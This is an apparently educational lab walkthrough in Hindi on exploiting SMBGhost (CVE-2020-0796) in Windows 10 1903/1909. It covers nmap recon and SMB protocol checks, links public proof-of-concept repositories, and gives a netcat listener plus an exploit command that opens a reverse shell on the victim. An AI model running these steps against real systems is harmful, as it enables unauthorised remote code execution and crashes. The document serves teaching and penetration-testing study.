POC-CVE-2020-0796

**- प्रभावित संस्करण*

- Windows 10 संस्करण 1903 32-बिट सिस्टम के लिए

- Windows 10 संस्करण 1903 ARM64-आधारित सिस्टम के लिए

- Windows 10 संस्करण 1903 x64-आधारित सिस्टम के लिए

- Windows 10 संस्करण 1909 32-बिट सिस्टम के लिए

- Windows 10 संस्करण 1909 ARM64-आधारित सिस्टम के लिए

- Windows 10 संस्करण 1909 x64-आधारित सिस्टम के लिए

- Windows सर्वर, संस्करण 1903 (सर्वर कोर स्थापना)

- Windows सर्वर, संस्करण 1909 (सर्वर कोर स्थापना)

सिस्टम कनेक्शन आरेख

लक्ष्य की टोह लेना

DMZ क्षेत्र में नेटवर्क रेंज स्कैन करने के लिए Nmap लॉन्च करें

map -sS 192.168.116.0/24

nmap: नेटवर्क स्कैनिंग प्रोग्राम का नाम है**.**

-sS: TCP SYN स्कैन विधि चुनता है। इस स्कैन में, Nmap लक्ष्य होस्ट को एक SYN पैकेट भेजता है और प्रतिक्रिया देखता है। यदि लक्ष्य होस्ट SYN-ACK पैकेट के साथ उत्तर देता है, तो Nmap को पता चलता है कि पोर्ट खुला है। यदि लक्ष्य होस्ट RST पैकेट के साथ उत्तर देता है, तो इसका मतलब है कि पोर्ट बंद है।

-192.168.116.0/24: IP पता या विशिष्ट IP पता श्रेणी जिसे आप स्कैन करना चाहते हैं। इस मामले में, पता श्रेणी 192.168.116.0/24 है, जो 192.168.116.1 से 192.168.116.254 तक सभी IP पतों का वर्णन करती है।

=> देखा गया कि पीड़ित मशीन का IP पता 192.116.145 पोर्ट 445 खुला है।

· पीड़ित मशीन पर कमजोरियों को स्कैन करने के लिए Nmap का उपयोग करें

map -p445 –script smb-protocols 192.168.116.145

nmap: नेटवर्क स्कैनिंग प्रोग्राम का नाम है।

-p445: स्कैन करने के लिए विशिष्ट पोर्ट निर्दिष्ट करता है, इस मामले में पोर्ट 445। पोर्ट 445 का उपयोग आमतौर पर Windows सिस्टम पर SMB (सर्वर मैसेज ब्लॉक) सेवा के साथ संचार करने के लिए किया जाता है।

--script smb-protocols: स्कैन करने के लिए स्क्रिप्ट smb-protocols का चयन करता है। यह स्क्रिप्ट लक्ष्य सर्वर पर समर्थित SMB प्रोटोकॉल संस्करणों के बारे में जानकारी की जाँच और प्रदर्शित करने में मदद करती है।

192.168.116.145: उस सर्वर का IP पता जिसे आप स्कैन करना चाहते हैं। इस मामले में, IP पता 192.168.116.145 सेट किया गया है।

• प्राप्त परिणाम smb-protocols पीड़ित मशीन में संभावित कमजोरी है जो SMBv3.1.1 का शोषण कर सकती है।

• अधिक निश्चितता के लिए, पायथन स्क्रिप्ट चलाकर CVE-2020-0796 कमजोरी के शोषण की संभावना की जाँच करें।

[]: -https://github.com/ly4k/SMBGhost "मैलवेयर कोड"

=> परिणाम असुरक्षित -> पीड़ित मशीन पर CVE-2020-0796 कमजोरी के शोषण की संभावना पाई गई।

कमजोरी का शोषण, मैलवेयर स्थापित करना, रिमोट कंट्रोल चैनल बनाना

**रिवर्स शेल हमला शुरू करें**

• Netcat का उपयोग करके सत्र शुरू करें जो पीड़ित से कनेक्शन सुनता है*

ncat -lvp 4444

• CVE-2020-0796 शोषण स्क्रिप्ट लॉन्च करें

[]: https://github.com/jamf/CVE-2020-0796-RCE-POC "मैलवेयर कोड"

python SMBleedingGhost.py 192.168.116.145 192.168.44.3 4444

=> परिणाम: हमलावर मशीन पीड़ित मशीन पर शेल कोड निष्पादित करने का अधिकार प्राप्त कर लेती है।

सफल कनेक्शन के बाद, हमलावर पीड़ित मशीन पर सत्र में उपयोगकर्ता के उपयोगकर्ता अधिकारों के साथ मनमाना कोड का शोषण और निष्पादन कर सकता है।

सत्र समाप्त होने पर। पीड़ित मशीन ब्लू स्क्रीन त्रुटि और स्वचालित पुनरारंभ से ग्रस्त हो जाती है।

*शोषण करने से लक्षित सिस्टम को नुकसान हो सकता है*